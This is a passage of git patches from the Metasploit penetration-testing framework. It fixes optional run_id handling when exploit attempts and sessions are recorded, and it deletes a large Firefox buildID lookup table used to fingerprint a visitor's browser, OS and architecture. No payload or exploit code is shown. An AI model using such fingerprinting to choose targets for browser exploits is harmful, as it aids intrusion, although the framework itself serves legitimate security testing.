#{attack}: #{proof}") + end end end From 5cf3ac23e2be0fb9ce4ab9454d319c6e2e3d1ace Mon Sep 17 00:00:00 2001 From: Fernando Arias <fernando_arias@rapid7.com> Date: Wed, 16 Sep 2015 15:32:48 -0500 Subject: [PATCH 0654/2172] Fix no method defined error when run_id is not passed down * run_id is an optional param so we handle when it isn't set on user data MSP-13119 --- lib/msf/core/db_manager/exploit_attempt.rb | 2 +- lib/msf/core/db_manager/session.rb | 11 +++++------ 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index c2138a956d..3348050bf3 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -191,7 +191,7 @@ module Msf::DBManager::ExploitAttempt match, run = create_run_for_vuln(vuln,opts) end - # Only create a match result if a match + # Only create a match result if a match exists if match.present? run ||= MetasploitDataModels::AutomaticExploitation::Run.find(run_id) create_match_result(match:match,run:run, session_id: opts[:session_id]) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index e66c525825..0c81d5b39d 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -91,11 +91,10 @@ module Msf::DBManager::Session wspace = s.workspace - if session - if session.via_exploit - # This is a live session, we know the host is vulnerable to something. - infer_vuln_from_session(session, wspace) - end + + if session and session.via_exploit + # This is a live session, we know the host is vulnerable to something. + infer_vuln_from_session(session, wspace) end s @@ -151,7 +150,7 @@ module Msf::DBManager::Session username: session.username, vuln: vuln, workspace: wspace, - run_id: session.exploit.user_data[:run_id] + run_id: session.exploit.user_data.try(:[], :run_id) } framework.db.report_exploit_success(attempt_info) From 858d3f5a55cd86d57717b64b937ef5beb8ed4c93 Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Wed, 16 Sep 2015 15:59:50 -0500 Subject: [PATCH 0655/2172] Closes #3936, Remove Firefox buildid from os.js --- data/js/detect/os.js | 395 +------------------------------------------ 1 file changed, 1 insertion(+), 394 deletions(-) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index a93197e53b..0c9963c1af 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -343,401 +343,8 @@ os_detect.getVersion = function(){ if (version.match(/Linux/)) { os_name = oses_linux; } - // end navigator.oscpu checks - // buildID is unaffected by changes in the useragent and typically has - // the compile date which in some cases can be used to map to specific - // Version & O/S (including Distro and even Arch). Depending upon the - // buildID, sometime navigator.productSub will be needed. - // - // This technique, and the laboriously compiled associated table, - // submitted by Mark Fioravanti. - - var buildid = navigator.buildID; - - switch(buildid) { - case "2008041514": ua_version = "3.0.0.b5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2008041515": ua_version = "3.0.0.b5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "2008052312": ua_version = "3.0.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2008052906": ua_version = "3.0.0"; os_name = oses_windows; break; - case "2008052909": ua_version = "3.0.0.rc1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2008052912": ua_version = "3.0.0"; os_name = oses_linux; break; - case "2008060309": ua_version = "3.0.0"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "2008070205": ua_version = "2.0.0.16"; os_name = oses_windows; break; - case "2008070206": ua_version = "3.0.1"; os_name = oses_linux; break; - case "2008070208": ua_version = "3.0.1"; os_name = oses_windows; break; - case "2008071222": ua_version = "3.0.1"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2008072820": - switch (navigator.productSub) { - case "2008072820": ua_version = "3.0.1"; os_name = oses_linux; break; - case "2008092313": ua_version = "3.0.2"; os_name = oses_linux; break; - } break; - case "2008082909": ua_version = "2.0.0.17"; os_name = oses_windows; break; - case "2008091618": ua_version = "3.0.2"; os_name = oses_linux; break; - case "2008091620": ua_version = "3.0.2"; os_name = oses_windows; break; - case "2008092313": ua_version = "3.0.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2008092416": ua_version = "3.0.3"; os_name = oses_linux; break; - case "2008092417": ua_version = "3.0.3"; os_name = oses_windows; break; - case "2008092510": ua_version = "3.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2008101315": - switch (navigator.productSub) { - case "2008101315": ua_version = "3.0.3"; os_name = oses_linux; break; - case "2008111318": ua_version = "3.0.4"; os_name = oses_linux; arch = arch_x86; break; - } break; - case "2008102918": ua_version = "2.0.0.18"; os_name = oses_windows; break; - case "2008102920": ua_version = "3.0.4"; break; - case "2008112309": ua_version = "3.0.4"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Iceweasel 3.0.4 / Debian Testing (Lenny) - case "2008111317": ua_version = "3.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2008111318": ua_version = "3.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "2008120119": ua_version = "2.0.0.19"; os_name = oses_windows; break; - case "2008120121": ua_version = "3.0.5"; os_name = oses_linux; break; - case "2008120122": ua_version = "3.0.5"; os_name = oses_windows; break; - case "2008121623": ua_version = "2.0.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 2.0.0.19 / Ubuntu 8.04 LTS (Hardy Heron) - case "2008121709": ua_version = "2.0.0.20"; os_name = oses_windows; break; - case "2009011912": ua_version = "3.0.6"; os_name = oses_linux; break; - case "2009011913": ua_version = "3.0.6"; os_name = oses_windows; break; - case "2009012615": ua_version = "3.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2009012616": ua_version = "3.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2009021906": ua_version = "3.0.7"; os_name = oses_linux; break; - case "2009021910": ua_version = "3.0.7"; os_name = oses_windows; break; - case "2009030422": ua_version = "3.0.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2009032608": ua_version = "3.0.8"; os_name = oses_linux; break; - case "2009032609": ua_version = "3.0.8"; os_name = oses_windows; break; - case "2009032711": ua_version = "3.0.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2009033100": - switch (navigator.productSub) { - case "2009033100": ua_version = "3.0.8"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "2009042113": ua_version = "3.0.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - } break; - case "2009040820": ua_version = "3.0.9"; os_name = oses_linux; break; - case "2009040821": ua_version = "3.0.9"; os_name = oses_windows; break; - case "2009042113": ua_version = "3.0.10"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2009042114": ua_version = "3.0.10"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "2009042315": ua_version = "3.0.10"; os_name = oses_linux; break; - case "2009042316": ua_version = "3.0.10"; os_name = oses_windows; break; - case "20090427153806": ua_version = "3.5.0.b4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20090427153807": ua_version = "3.5.0.b4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "2009060214": ua_version = "3.0.11"; os_name = oses_linux; break; - case "2009060215": ua_version = "3.0.11"; os_name = oses_windows; break; - case "2009060308": - switch (navigator.productSub) { - case "2009060308": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - } break; - case "2009060309": - switch (navigator.productSub) { - case "2009060309": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - } break; - case "2009060310": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "BackTrack"; break; - case "2009062005": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "PCLunixOS"; break; - case "20090624012136": ua_version = "3.5.0"; os_name = oses_mac_osx; break; - case "20090624012820": ua_version = "3.5.0"; os_name = oses_linux; break; - case "20090701234143": ua_version = "3.5.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20090702060527": ua_version = "3.5.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; - case "2009070610": ua_version = "3.0.12"; os_name = oses_linux; break; - case "2009070611": ua_version = "3.0.12"; os_name = oses_windows; break; - case "2009070811": ua_version = "3.0.13"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "20090715083437": ua_version = "3.5.1"; os_name = oses_mac_osx; break; - case "20090715083816": ua_version = "3.5.1"; os_name = oses_linux; break; - case "20090715094852": ua_version = "3.5.1"; os_name = oses_windows; break; - case "2009072202": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Oracle"; break; - case "2009072711": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "CentOS"; break; - case "20090729211433": ua_version = "3.5.2"; os_name = oses_mac_osx; break; - case "20090729211829": ua_version = "3.5.2"; os_name = oses_linux; break; - case "20090729225027": ua_version = "3.5.2"; os_name = oses_windows; break; - case "2009073021": ua_version = "3.0.13"; os_name = oses_linux; break; - case "2009073022": ua_version = "3.0.13"; os_name = oses_windows; break; - case "20090824085414": ua_version = "3.5.3"; os_name = oses_mac_osx; break; - case "20090824085743": ua_version = "3.5.3"; os_name = oses_linux; break; - case "20090824101458": ua_version = "3.5.3"; os_name = oses_windows; break; - case "2009082707": ua_version = "3.0.14"; break; - case "2009090216": ua_version = "3.0.14"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20090914014745": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; - case "20090915065903": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; - case "20090915070141": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break; - case "20091007090112": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 - case "20091007095328": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 - case "2009101600": - switch (navigator.productSub) { - case "2009101600": ua_version = "3.0.15"; break; // Can be either Mac or Linux - case "20091016": ua_version = "3.5.4"; os_name = oses_linux; os_vendor = "SUSE"; arch = arch_x86; break; - } break; - case "2009101601": ua_version = "3.0.15"; os_name = oses_windows; break; - case "20091016081620": ua_version = "3.5.4"; os_name = oses_mac_osx; break; - case "20091016081727": ua_version = "3.5.4"; os_name = oses_linux; break; - case "20091016092926": ua_version = "3.5.4"; os_name = oses_windows; break; - case "20091020122601": ua_version = "3.5.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 - case "2009102814": - switch (navigator.productSub) { - case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "2009121602": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Mint"; break; - case "2010021501": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86; break; - case "2010021502": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86_64; break; - } break; - case "2009102815": - switch (navigator.productSub) { - case "2009102815": ua_version = "3.0.15"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - } break; - case "20091029152254": ua_version = "3.6.0.b1"; os_name = oses_linux; break; - case "20091029171059": ua_version = "3.6.0.b1"; os_name = oses_windows; break; - case "20091102134505": ua_version = "3.5.5"; os_name = oses_mac_osx; break; - case "20091102141836": ua_version = "3.5.5"; os_name = oses_linux; break; - case "20091102152451": ua_version = "3.5.5"; os_name = oses_windows; break; - case "2009110421": ua_version = "3.0.15"; os_name = oses_freebsd; arch = arch_x86; break; - case "20091106091959": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; - case "20091106140514": ua_version = "3.5.5"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20091106145609": ua_version = "3.5.5"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; - case "20091108163911": ua_version = "3.6.0.b2"; os_name = oses_linux; break; - case "20091108181924": ua_version = "3.6.0.b2"; os_name = oses_windows; break; - case "20091109125225": - switch (navigator.productSub) { - case "20091109": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - } break; - case "20091109134913": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20091115172547": ua_version = "3.6.0.b3"; os_name = oses_linux; break; - case "20091115182845": ua_version = "3.6.0.b3"; os_name = oses_windows; break; - case "20091124201530": ua_version = "3.6.0.b4"; os_name = oses_mac_osx; break; - case "20091124201751": ua_version = "3.6.0.b4"; os_name = oses_linux; break; - case "20091124213835": ua_version = "3.6.0.b4"; os_name = oses_windows; break; - case "2009120100": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "SUSE"; break; - case "20091201203240": ua_version = "3.5.6"; os_name = oses_mac_osx; break; - case "20091201204959": ua_version = "3.5.6"; os_name = oses_linux; break; - case "20091201220228": ua_version = "3.5.6"; os_name = oses_windows; break; - case "2009120206": ua_version = "3.0.16"; break; // Can be either Mac or Linux - case "2009120208": ua_version = "3.0.16"; os_name = oses_windows; break; - case "20091204132459": ua_version = "3.6.0.b5"; os_name = oses_linux; break; - case "20091204132509": ua_version = "3.6.0.b5"; os_name = oses_mac_osx; break; - case "20091204143806": ua_version = "3.6.0.b5"; os_name = oses_windows; break; - case "20091215230859": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20091215230946": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20091215231400": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 - case "20091215231754": - switch (navigator.productSub) { - case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100106": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 - } break; - case "2009121601": - switch (navigator.productSub) { - case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // Could also be Mint x86-64 - } break; - case "2009121602": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "20091216104148": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Mandriva"; break; - case "20091216132458": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20091216132537": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20091216142458": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20091216142519": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "2009121708": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break; - case "20091221151141": ua_version = "3.5.7"; os_name = oses_mac_osx; break; - case "20091221152502": ua_version = "3.5.7"; os_name = oses_linux; break; - case "2009122115": ua_version = "3.0.17"; break; // Can be either Mac or Linux - case "20091221164558": ua_version = "3.5.7"; os_name = oses_windows; break; - case "2009122116": ua_version = "3.0.17"; os_name = oses_windows; break; - case "2009122200": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "SUSE"; break; - case "20091223231431": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "PCLunixOS"; arch = arch_x86; break; - case "20100105194006": ua_version = "3.6.0.rc1"; os_name = oses_mac_osx; break; - case "20100105194116": ua_version = "3.6.0.rc1"; os_name = oses_linux; break; - case "20100105212446": ua_version = "3.6.0.rc1"; os_name = oses_windows; break; - case "2010010604": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "Ubuntu"; break; - case "20100106054534": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 - case "20100106054634": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 - case "2010010605": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100106211825": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20100106212742": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; - case "20100106215614": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20100110112429": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Mandriva"; break; - case "20100115132715": ua_version = "3.6.0"; os_name = oses_mac_osx; break; - case "20100115133306": ua_version = "3.6.0"; os_name = oses_linux; break; - case "20100115144158": ua_version = "3.6.0"; os_name = oses_windows; break; - case "20100125074043": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86 - case "20100125074127": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64 - case "20100125204847": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break; // Could also be Mint x86 - case "20100125204903": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; // Could also be Mint x86-64 - case "20100202152834": ua_version = "3.5.8"; os_name = oses_mac_osx; break; - case "20100202153512": ua_version = "3.5.8"; os_name = oses_linux; break; - case "20100202165920": ua_version = "3.5.8"; os_name = oses_windows; break; - case "2010020219": ua_version = "3.0.18"; os_name = oses_mac_osx; break; - case "2010020220": ua_version = "3.0.18"; os_name = oses_windows; break; - case "2010020400": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "SUSE"; break; - case "20100212131909": ua_version = "3.6.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100212132013": ua_version = "3.6.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100216105329": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20100216105348": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20100216105410": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20100216110009": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "2010021718": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break; - case "20100218022359": ua_version = "3.6.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100218022705": ua_version = "3.6.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100218112915": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; - case "20100222120605": ua_version = "3.6.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100222120717": ua_version = "3.6.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100301015346": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20100305054927": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; - case "20100307204001": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20100308142847": ua_version = "3.6.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100308151019": ua_version = "3.6.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "2010031218": ua_version = "3.0.19"; break; // Mac OS X or Linux - case "2010031422": ua_version = "3.0.19"; os_name = oses_windows; break; - case "20100315075757": ua_version = "3.5.9"; os_name = oses_linux; break; - case "20100315080228": ua_version = "3.5.9"; os_name = oses_mac_osx; break; - case "20100315083431": ua_version = "3.5.9"; os_name = oses_windows; break; - case "20100316055951": ua_version = "3.6.2"; os_name = oses_mac_osx; break; - case "20100316060223": ua_version = "3.6.2"; os_name = oses_linux; break; - case "20100316074819": ua_version = "3.6.2"; os_name = oses_windows; break; - case "2010031700": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "SUSE"; break; - case "20100323102218": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20100323102339": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20100323194640": ua_version = "3.6.2"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; - case "20100324182054": ua_version = "3.6.2"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20100330071911": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20100330072017": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20100330072020": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20100330072034": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20100401064631": ua_version = "3.6.3"; os_name = oses_mac_osx; break; - case "20100401074458": ua_version = "3.6.3"; os_name = oses_linux; break; - case "20100401080539": ua_version = "3.6.3"; os_name = oses_windows; break; - case "20100401144201": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2010040116": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2010040118": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2010040119": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100401213457": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "2010040121": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "2010040123": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "2010040200": ua_version = "3.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100402010516": ua_version = "3.5.9"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86_64; break; - case "20100402041908": ua_version = "3.6.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100403042003": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20100403082016": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20100404024515": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100404024646": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100404104043": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break; - case "20100409151117": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100409170726": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100412125148": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; - case "20100413152922": ua_version = "3.6.4.b1"; os_name = oses_mac_osx; break; - case "20100413154310": ua_version = "3.6.4.b1"; os_name = oses_linux; break; - case "20100413172113": ua_version = "3.6.4.b1"; os_name = oses_windows; break; - case "20100415062243": ua_version = "3.6.3.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100415103754": ua_version = "3.6.3.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100416101101": ua_version = "3.6.3.2"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break; - case "2010041700": ua_version = "3.6.4.1"; os_name = oses_linux; os_vendor = "SUSE"; break; - case "20100419015333": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; - case "20100423043606": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; - case "20100423140709": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100423141150": ua_version = "3.6.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100423142835": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20100502202326": ua_version = "3.6.4.b2"; os_name = oses_linux; break; - case "20100502202401": ua_version = "3.6.4.b2"; os_name = oses_mac_osx; break; - case "20100502221517": ua_version = "3.6.4.b2"; os_name = oses_windows; break; - case "20100503113315": ua_version = "3.6.4.b3"; os_name = oses_mac_osx; break; - case "20100503113541": ua_version = "3.6.4.b3"; os_name = oses_linux; break; - case "20100503122926": ua_version = "3.6.4.b3"; os_name = oses_windows; break; - case "20100504085637": ua_version = "3.5.10"; os_name = oses_linux; break; - case "20100504085753": ua_version = "3.5.10"; os_name = oses_mac_osx; break; - case "20100504093643": ua_version = "3.5.10"; os_name = oses_windows; break; - case "2010050600": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "SUSE"; break; - case "2010051300": ua_version = "3.6.4.1"; os_name = oses_linux; os_vendor = "SUSE"; break; - case "20100513134853": ua_version = "3.6.4.b4"; os_name = oses_mac_osx; break; - case "20100513140540": ua_version = "3.6.4.b4"; os_name = oses_linux; break; - case "20100513144105": ua_version = "3.6.4.b4"; os_name = oses_windows; break; - case "20100513190740": ua_version = "3.6.3"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break; - case "20100523180910": ua_version = "3.6.4.b5"; os_name = oses_mac_osx; break; - case "20100523181754": ua_version = "3.6.4.b5"; os_name = oses_linux; break; - case "20100523185824": ua_version = "3.6.4.b5"; os_name = oses_windows; break; - case "20100527084110": ua_version = "3.6.4.b6"; os_name = oses_mac_osx; break; - case "20100527085242": ua_version = "3.6.4.b6"; os_name = oses_linux; break; - case "20100527093236": ua_version = "3.6.4.b6"; os_name = oses_windows; break; - case "2010061100": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "SUSE"; break; - case "20100611134546": ua_version = "3.6.4.b7"; os_name = oses_mac_osx; break; - case "20100611135942": ua_version = "3.6.4.b7"; os_name = oses_linux; break; - case "20100611143157": ua_version = "3.6.4.b7"; os_name = oses_windows; break; - case "20100622203044": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20100622203045": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20100622204750": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break; - case "20100622204830": ua_version = "3.5.10"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break; - case "20100622205038": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "PClinuxOS"; arch = arch_x86_64; break; - case "20100623081410": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86_64; break; - case "20100623081921": ua_version = "3.6.4"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break; - case "20100623155731": ua_version = "3.6.4.b7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; - case "20100623200132": ua_version = "3.6.4.b7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; - case "20100625222733": ua_version = "3.6.6"; os_name = oses_linux; break; - case "20100625223402": ua_version = "3.6.6"; os_name = oses_mac_osx; break; - case "20100625231939": ua_version = "3.6.6"; os_name = oses_windows; break; - case "20100626104508": ua_version = "3.6.4"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break; - case "20100627211341": ua_version = "3.6.4"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = 